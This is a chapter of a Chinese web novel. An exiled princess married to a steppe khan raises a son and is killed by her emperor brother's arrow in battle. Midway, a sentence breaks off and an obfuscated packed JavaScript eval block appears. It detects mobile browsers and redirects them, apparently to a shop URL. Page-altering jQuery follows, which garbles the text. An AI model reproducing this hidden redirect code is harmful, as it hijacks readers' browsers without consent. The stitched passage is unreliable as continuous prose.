大燕建元二十九年，三月初八。
和亲的队伍走了整整二十三天，终于到了。
昀宁掀开车帘，看见远处那些灰黄色的帐篷，密密麻麻的，像雨后长出的蘑菇。天很低，压得人喘不过气来。风很大，卷着沙土扑面而来，打在脸上生疼。
“可敦，到了。”车外传来一个声音，生硬的汉话，带着浓重的鼻音。
可敦。
胡语里“王后”的意思。
昀宁放下车帘，没有应声。
马车继续往前走，穿过那些帐篷，最后停在一座最大的帐篷前。有人掀开车帘，阳光刺进来，晃得她睁不开眼。
“下来。”
她下了车，站在那片陌生的土地上。
天很蓝，蓝得不像是真的。地很黄，黄得像是被火烧过。风从四面八方吹过来，带着牛羊的膻味，和草原上特有的那种空旷的气息。
帐篷前站着一个人。
很高，很壮，穿着一身皮毛做的袍子，腰间挎着一把弯刀。他的脸被太阳晒得黝黑，眼睛细长，目光锐利得像鹰。
胡王。
阿史那·骨咄禄。
他看着她，上下打量了一遍，忽然咧嘴笑了。
“大燕的公主，”他的汉话很生硬，一字一顿的，“长得，好看。”
昀宁没有说话。
只是看着他，目光平静。
那天晚上，帐篷里点起了篝火。
外面的人在唱歌，在跳舞，在喝酒，热闘得很。昀宁坐在帐篷里，听着那些她听不懂的歌，看着那些跳动的火光，一动不动。
门帘被掀开，骨咄禄走进来。
他喝了很多酒，脸上红通通的，走路有些摇晃。走到昀宁面前，他蹲下身子，看着她。
“公主，”他说，“你不高兴？”
昀宁没有回答。
骨咄禄盯着她看了半天，忽然笑了。
“不高兴，也得高兴。”他站起身，往外走，走到门口，回过头，“你是我的可敦。草原上的人，都知道。”
他转身离开了帐篷。
昀宁坐在那里，听着外面的歌声，听着那些她听不懂的话。
她没有驸马。
只有一个胡人的王。
这里没有烟雨。
只有风沙。
那天夜里，昀宁一夜没睡。
她坐在帐篷里，听着外面的风声，听着远处偶尔传来的狼嚎。
天快亮的时候，她做了一个决定。
既来之，则安之。
既然来了，就好好活着。
替自己活着。
替沈淮活着。
三月十五，昀宁见到了乌恩。
乌恩是骨咄禄的妹妹，十七岁，瘦瘦小小的，眼睛很大，很亮。她不会说汉话，但会笑。看见昀宁，她就笑，笑得眼睛弯成两道月牙。
“阿姐！”她指着昀宁，又指着自己，“乌恩！阿姐！”
昀宁看着她，嘴角微微弯了弯。
“昀宁。”她指着自己。
乌恩学着她的样子，努力地发音。
“云……宁？”
“昀宁。”
“云……云宁！”
昀宁点点头。
乌恩高兴得跳起来，拉着她的手往外跑。
“阿姐！走！走！”
她拉着昀宁跑出帐篷，跑到一片草地上。那里有几只小羊羔，白白的，软软的，在草地上跑来跑去。
乌恩抱起一只，递到昀宁怀里。
“阿姐！羊！羊！”
昀宁抱着那只小羊羔，看着它在怀里挣扎，心里忽然涌起一种奇怪的感觉。
软软的，热热的，活着的。
她很久没有抱过活的东西了。
乌恩在一旁看着她，眼睛亮亮的。
“阿姐，喜欢？”
昀宁点点头。
乌恩笑了，笑得很开心。
那天下午，乌恩教昀宁说胡语。
指着天，说“腾格里”。
指着地，说“嘎扎尔”。
指着羊，说“霍尼”。
指着自己，说“比”。
昀宁一句一句跟着念，念得乌恩笑得前仰后合。
“阿姐！不对！不对！是‘霍尼’，不是‘火你’！”
昀宁看着她，有些无奈。
“霍尼。”
乌恩竖起大拇指。
“好！阿姐聪明！”
昀宁笑了。
她已经很久没有这样笑过了。
四月初，昀宁开始慢慢习惯这里的生活。
每天早上，被羊叫醒。白天，要么和乌恩一起放羊，要么坐在帐篷里缝东西。晚上，听外面的人唱歌，看那些跳动的火光。
骨咄禄偶尔会来。
有时候是白天，有时候是晚上。来了就喝酒，喝了酒就说些她听不懂的话。说完就走了，也不管她听没听懂。
昀宁从来不问。
他来了，她就倒酒。他走了，她就继续做自己的事。
有一回，骨咄禄喝多了，坐在她旁边，忽然问。
“公主，你想家吗？”
昀宁的手顿了顿。
骨咄禄看着她，眼睛里有种她看不懂的东西。
“我的阿妈，也想家。”他说，“她是从很远的地方来的，和你一样。”
昀宁没有说话。
骨咄禄继续说：“她每天，都坐在帐篷外面，看太阳落山。看了一年，两年，三年。后来，不看了。”
他站起身，往外走。
走到门口，他回过头。
“你也会的。”
他走了。
昀宁坐在那里，看着他的背影消失在门帘外。
五月初，草原上开始热起来了。
太阳明晃晃的，晒得人睁不开眼。草长得很高，绿油油的，风一吹，像海浪一样起伏。
昀宁坐在帐篷外面，看着那些草。
乌恩跑过来，手里捧着一把野花，五颜六色的，开得很热闹。
“阿姐！给你！”
昀宁接过来，看着那些花。
有黄的，有紫的，有白的，小小的，不起眼，却很鲜活。
她忽然想起御花园里的那些花。
牡丹，芍药，海棠，开得雍容华贵，开得繁复精致。
但那些花，都是被人伺候着的。
这些花不是。
它们在风里长，在雨里长，在太阳底下长。
没人管它们。
它们也活得很好。
“阿姐，”乌恩在旁边坐下，看着她，“你以前，是什么样的？”
昀宁想了想，说：“以前？在一个很大的房子里，有很多人伺候着。”
乌恩眼睛亮了。
“大房子？多大？”
昀宁比划了一下。
“这么大？”
昀宁摇摇头。
“比这大得多。有好多好多帐篷这么大。”
乌恩张大了嘴。
“哇……”
昀宁看着她，笑了。
“你想去看看吗？”
乌恩用力点头。
“想！想！”
昀宁说：“那等你长大了，我带你去。”
乌恩高兴得跳起来。
“好！阿姐说话算话！”
昀宁点点头。
“算话。”
那天晚上，昀宁躺在帐篷里，看着从缝隙里漏进来的月光。
她忽然想起刚才说的话。
“等你长大了，我带你去。”
她真的能带她去吗？
她不知道。
但她带她去看看那个大房子，看看御花园里的花，看看京城里的热闹。
哪怕只是想想，也好。
六月初，昀宁发现自己怀孕了。
是乌恩先发现的。
那天早上，昀宁一起床就吐了。吐得昏天黑地，什么都吐不出来，还在干呕。
乌恩吓坏了，跑去叫了人来。
一个老妇人进来了，看了她一眼，摸了摸她的肚子，说了几句什么。
乌恩翻译给她听。
“阿姐，你有娃娃了。”
昀宁愣住了。
娃娃。
她低头看着自己的肚子，平平的，什么都看不出来。
可里面，已经有一个小生命了。
一个她从未想过的小生命。
那天晚上，骨咄禄来了。
他坐在她旁边，看着她，沉默了很久。
然后他开口。
“公主，”他说，“这是你的娃娃，也是我的。”
昀宁没有说话。
骨咄禄继续说：“草原上的人，不会亏待自己的娃娃。你好好养着，生下来，我会对他好。”
他站起身，走到门口，回过头。
“你也是。”
他走了。
昀宁坐在那里，看着自己的肚子。
沈淮，我有了个娃娃。
不是你的。
是别人的。
你会怪我吗？
没有人回答。
只有风，从帐篷的缝隙里钻进来，凉凉的。
七月初，昀宁的肚子开始显怀了。
乌恩每天都要趴在她肚子上听，听完了就傻笑。
“阿姐！娃娃在动！”
昀宁看着她，有些无奈。
“还小呢，动不了。”
乌恩不信。
“能动！肯定能动！”
她继续趴着听。
听了一会儿，她忽然抬起头，眼睛亮亮的。
“阿姐！真的动了！在踢我！”
昀宁愣住了。
她低头看着自己的肚子，什么感觉都没有。
但乌恩说有。
她信。
那天晚上，昀宁躺在帐篷里，把手放在肚子上。
轻轻的，慢慢的，感受着那里面的动静。
忽然，她感觉到了。
一下。
很轻，很轻，像是有人在里面轻轻敲了一下。
她的眼眶忽然有些发酸。
这是她的娃娃。
活着的，会动的，在慢慢长大的娃娃。
她闭上眼睛，把手贴得更紧了些。
“娃娃，”她在心里说，“我是你娘。”
没有人回答。
但她知道，他听见了。
九月，草原上开始冷了。
草黄了，风大了，羊群开始往南边迁徙。
昀宁的肚子已经很大了，走路都有些费劲。乌恩每天扶着她，一步一挪的，像两只企鹅。
“阿姐，你什么时候生？”乌恩问。
昀宁摇摇头。
“不知道。快了。”
乌恩看着她的肚子，眼睛里满是好奇。
“娃娃出来的时候，是什么样的？”
昀宁想了想，说：“小小的，红红的，会哭。”
乌恩张大了嘴。
“会哭？”
昀宁点点头。
“嗯。一出来就哭。”
乌恩有些担心。
“那……那怎么办？”
昀宁说：“抱着他，哄他，就不哭了。”
乌恩似懂非懂地点点头。
那天夜里，昀宁生了。
很疼。
疼得她以为自己要死了。
她抓着身下的毡子，咬着牙，一声不吭。
乌恩在一旁急得团团转，老妇人把她推出去，不许她进来。
不知过了多久。
一声啼哭响起。
昀宁睁开眼睛，看见老妇人抱着一个红通通的小东西，递到她面前。
“是个小子。”老妇人说，用生硬的汉话。
昀宁看着那个小东西。
小小的，皱皱的，眼睛还没睁开，嘴巴却张得大大的，哭得撕心裂肺。
她伸出手，把他抱进怀里。
小东西哭了几声，慢慢安静下来，往她怀里拱。
昀宁看着他，眼泪忽然流下来。
“娃娃，”她在心里说，“你来了。”
十月，娃娃满月了。
骨咄禄给他起了个名字——阿史那·默延。
默延。
胡语里，是“铁”的意思。
骨咄禄抱着他，举得高高的，对着太阳说：“腾格里在上，这是我骨咄禄的儿子！他会像铁一样强壮，像铁一样坚硬！”
昀宁站在一旁，看着他们。
骨咄禄把孩子还给她，忽然说。
“公主，你变了。”
昀宁看着他。
骨咄禄说：“刚来的时候，你像一块冰。现在，你化了。”
他笑了笑，转身走了。
昀宁站在原地，看着他的背影。
她想起刚来的时候，她确实像一块冰。
冷冰冰的，什么都不在乎。
现在呢？
她低头看着怀里的默延。
小小的人儿，闭着眼睛，睡得正香。
“等本宫有了驸马，我们就去江南，看一辈子的烟雨。”
她没有驸马。
但她有了儿子。
烟雨没看成。
但她有了一片草原。
她活下来了。
替自己活下来了。
十二月，草原上下雪了。
很大很大的雪，铺天盖地的，把整个世界都染成了白色。
昀宁抱着默延，坐在帐篷里，看着外面那些飘落的雪花。
默延已经三个月大了，眼睛睁开了，黑黑亮亮的，像两颗葡萄。他喜欢看雪，每次看见雪，就伸出小手，想去抓。
昀宁点点头。
“嗯，雪。”
默延继续看着那些雪花，眼睛亮亮的。
昀宁看着他，忽然想起很多年前，她也这样看着雪。
良久。
她低下头，在默延额头上轻轻亲了一下。
“娃娃，”她说，“你要好好长大。”
默延听不懂，只是继续看着雪。
雪还在下。
一片，一片，又一片。
大燕建元三十年，春。
默延会爬了。
他爬得很快，一眨眼就从帐篷这头爬到那头。乌恩追在他后面，一边追一边笑。
“默延！你等等我！”
默延不理她，继续往前爬。
爬到昀宁脚边，他停下来，抬起头，冲她咧嘴笑。
“阿娘！”
昀宁把他抱起来。
“嗯。”
默延指着外面。
“去！去！”
昀宁抱着他走出去。
外面，草已经开始绿了。星星点点的，从黄褐色的土地里钻出来，嫩嫩的，鲜鲜的。
默延看着那些草，眼睛亮亮的。
“阿娘，草！”
昀宁点点头。
“嗯，草。”
他是在这片草原上生的，也会在这片草原上长大。
他会学会骑马，学会放羊，学会说胡语，学会草原上的一切。
他会忘了那个叫“京城”的地方，忘了那些叫“皇宫”的房子，忘了那些复杂的人和事。
这样也好。
这样，他就不用像她一样，活得那么累。
她低下头，在他耳边轻轻说——
“默延，你要好好的。”
默延听不懂，只是继续看着那些草，看着那些羊，看着那片蓝得不像话的天。
大燕建元三十一年，默延两岁了。
他学会了很多话。
胡语，汉话，都会说一点。
看见羊，他说“霍尼”。
看见天，他说“腾格里”。
看见昀宁，他说“阿娘”。
看见骨咄禄，他说“阿父”。
骨咄禄每次听见他叫“阿父”，就咧嘴笑，笑得眼睛都眯成一条缝。
“我的儿子！”他抱着默延，举得高高的，“草原上最棒的儿子！”
默延在他手里咯咯笑，笑得开心极了。
昀宁站在一旁，看着他们。
她忽然想起，骨咄禄对她其实不错。
不来打扰她，不强迫她，不把她当成什么东西。
她给他生了儿子，他对她好。
就这么简单。
草原上的人，就是这么简单的。
她不知道这样好不好，
但她慢慢习惯了。
习惯这里的天，这里的地，这里的风，这里的人。
习惯每天早上被羊叫醒，每天晚上听那些人唱歌。
习惯抱着默延，看着草原上的日出日落。
沈淮，我活得挺好的。
你别担心。
大燕建元三十二年，默延三岁了。
他已经会骑马了。
当然，是骑在骨咄禄怀里，抱着马脖子，假装自己在骑。
“阿父！快快！”
骨咄禄笑着，一夹马肚子，马就跑起来。
默延在马背上颠着，笑得像只小羊羔。
昀宁站在帐篷外面，看着他们。
风从远处吹过来，吹动她的头发。
她忽然想起很久以前，她站在摘星阁的窗前，看着外面的雨。
那时候她问阿蘅：“雨有没有得选？”
现在她不问了。
因为她知道，雨没得选。
但人可以选择，怎么在雨里活。
她活下来了。
活得还不错。
大燕建元三十三年，默延四岁了。
他开始问问题了。
“阿娘，天为什么是蓝的？”
“阿娘，羊为什么要吃草？”
“阿娘，我们为什么要住帐篷？”
“阿娘，我爹是谁？”
昀宁看着他，沉默了一瞬。
然后她指着远处的骨咄禄。
“那就是你爹。”
默延点点头，跑了。
跑到骨咄禄身边，他仰着头问：“阿父，你是我爹吗？”
骨咄禄愣了一下，然后哈哈大笑。
“是！我是你爹！”
他把默延抱起来，放在肩上，骑着马跑远了。
昀宁站在原地，看着他们。
她想起了沈淮。
想起他如果还活着，会不会也这样，把他们的孩子放在肩上，带着他到处跑。
她不知道。
她只知道，她再也见不到他了。
但她有一个儿子。
他的眼睛，和沈淮的一样亮。
这就够了。
大燕建元
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17316927|198962||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
三十四年，默延五岁了。
草原上来了个商人，从南边来的，带来了很多新奇的东西。
丝绸，茶叶，瓷器，还有……消息。
昀宁让人把他叫来，问他。
“京城那边，怎么样？”
商人看着她，小心翼翼地说：“挺好的。皇上现在……很厉害。打了几个胜仗，把周围的都收拾了。”
昀宁点点头。
商人犹豫了一下，又说：“听说……最近可能要打仗。”
昀宁的手微微一顿。
“和谁？”
商人说：“西北那边。就是……这儿。”
昀宁沉默了。
商人走了。
她坐在帐篷里，看着外面。
默延在草地上跑来跑去，追着一只蝴蝶。
她忽然想起很多年前，她对昀昭说：“无论发生什么，姐姐都会护着你。”
现在，她护不了他了。
他也护不了她了。
他们是敌人了。
大燕建元三十五年，战争来了。
消息传到草原上的时候，昀宁正在教默延写字。
默延握着一根树枝，在地上划来划去，划得歪歪扭扭的。
“阿娘，这个字怎么念？”
昀宁低头看了一眼。
“宁。”
默延点点头，继续划。
“阿娘，这个字是什么意思？”
昀宁说：“安宁的宁。就是……平平安安的意思。”
默延抬起头，看着她。
“阿娘，你叫宁，那你平平安安吗？”
昀宁愣住了。
她看着默延，看着他那双亮亮的眼睛。
那双眼睛，和沈淮的一模一样。
她伸出手，揉了揉他的头发。
“嗯。”她说，“阿娘平平安安的。”
默延咧嘴笑了，继续低头写字。
外面，传来一阵急促的马蹄声。
有人喊。
“打仗了！打仗了！”
昀宁站起身，走到帐篷外面。
远处，尘土飞扬。
一队骑兵，正朝这边跑来。
她站在那里，看着那些越来越近的身影。
风很大，吹得她的衣袍猎猎作响。
她忽然想起很多年前，她站在城门口，看着那些冲过来的人。
那时候她手里有剑，身后有薛明，心里有主意。
现在她什么都没有。
只有一个五岁的儿子。
和一整个草原的敌人。
那天晚上，骨咄禄来找她。
他坐在她旁边，沉默了很久。
然后他开口。
“公主，”他说，“要打仗了。”
昀宁点点头。
“我知道。”
骨咄禄看着她，目光里有一种复杂的东西。
“你知道打的是谁吗？”
昀宁说：“知道。”
骨咄禄说：“是你弟弟。”
昀宁没有说话。
骨咄禄继续说：“明天，我要带兵去。你……留在营地里。”
他站起身，走到门口，回过头。
“公主，”他说，“这些年，谢谢你。”
他走了。
昀宁坐在那里，一动不动。
默延从后面跑过来，钻进她怀里。
“阿娘，阿父要去哪儿？”
昀宁低下头，看着他。
“去打仗。”
默延问：“打仗是什么？”
昀宁想了想，说：“就是……很多很多人，在一起打架。”
默延皱起眉头。
“打架不好。”
昀宁点点头。
“对，打架不好。”
她把他抱紧了些。
“所以你要好好的，别打架。”
默延点点头，把小脸埋在她怀里。
那天夜里，昀宁一夜没睡。
她坐在帐篷里，抱着默延，听着外面的风声。
天快亮的时候，她做了一个决定。
她要去战场。
不是为了帮谁。
是为了看一眼。
看一眼那个她护了二十多年的弟弟。
看一眼他变成什么样了。
看一眼……他还会不会记得她。
三月十八，战场。
风很大，卷着沙土扑面而来。
昀宁站在一个小山坡上，抱着默延，看着远处那两支军队。
一边是草原上的骑兵，黑压压的一片。
一边是大燕的军队，红彤彤的旗帜，在风中猎猎作响。
她看不清那些人的脸。
但她知道，那边，有一个人，是她弟弟。
默延在她怀里，小声问：“阿娘，那些人是谁？”
昀宁说：“大燕的人。”
默延问：“大燕是什么？”
昀宁说：“是……阿娘以前的家。”
默延看着她。
“阿娘的家？”
昀宁点点头。
默延想了想，说：“那他们是好人吗？”
昀宁沉默了。
她不知道该怎么回答。
好人？
坏人？
她已经分不清了。
远处，号角声响起来。
战争开始了。
喊杀声震天，刀光剑影，血肉横飞。
昀宁站在那里，看着那些厮杀的人。
她想起很多年前，她站在北门外，也是这样看着。
那时候沈淮在她身边。
现在，他不在。
“阿娘，”默延忽然说，“我怕。”
昀宁低下头，看着他的脸。
那张小脸，和沈淮的一模一样。
她把他抱紧了些。
“不怕。”她说，“阿娘在。”
远处，忽然传来一阵骚动。
她抬起头，看见大燕的军队里，有一队骑兵朝这边冲过来。
领头的那个人，骑着一匹白马，穿着一身金色的铠甲。
阳光照在他身上，晃得她睁不开眼。
但她认得他。
昀昭。
她的弟弟。
她站在原地，一动不动。
看着那队骑兵越来越近，越来越近。
忽然，她看见他停了下来。
在离她很远的地方，他勒住马，看着她。
她也看着他。
隔着那片战场，隔着那些厮杀的人，隔着二十多年的岁月。
她忽然想起他小时候，趴在她肩头哭，说“皇姐，我怕”。
想起他坐在龙椅上，小小的身子被冕旒遮住大半张脸。
想起他说“皇姐，我信你”。
想起他说“无论你恨不恨我，你都是我姐”。
她张了张嘴，想喊他。
但声音还没出来，就被风吹散了。
然后，她看见他举起手。
手里拿着一把弓。
弓弦拉满。
箭尖，对准了她。
她愣住了。
她看着他，看着他那张已经成熟的脸。
那张脸上，没有表情。
只有一种她从未见过的东西。
那是什么？
是无奈？
是决绝？
还是……
她没有想下去。
因为那支箭，已经飞过来了。
很快。
快得她来不及反应。
快得她只来得及把默延抱紧。
然后，胸口一凉。
她低下头，看见那支箭，插在她心口。
红色的血，从伤口涌出来，染红了她的衣裳。
她抬起头，看着远处那个人。
他还坐在马上，举着弓，一动不动。
她想喊他。
想喊——
昀昭，我是你姐。
但她喊不出来了。
她低下头，看着怀里的默延。
默延睁大眼睛，看着她，小脸上满是恐惧。
“阿娘……阿娘你怎么了……”
她张了张嘴，想说——
没事，阿娘没事。
但她说不出来了。
她抱着他，慢慢倒下去。
倒在那片黄褐色的土地上。
倒在那片她生活了十年的草原上。
天很蓝。
蓝得不像话。
她看着那片天，忽然想起很多年前，上巳节那天。
那天也下雨。
细细的，密密的，从天上落下来。
她戴着面具，穿着男装，站在人潮汹涌的街口。
一个少年走过来，扶住她的胳膊，笑着说——
“小公子，莫要乱跑。”
她闭上眼睛。
嘴角，微微弯了弯。
真好。
这次，可以跟你走了。
风从远处吹过来，吹动她的头发。
吹动那片黄褐色的草。
吹过那片蓝得不像话的天。
远处，默延的哭声撕心裂肺。
“阿娘——阿娘——”
没有人回答。
只有风。
——第二十六章完——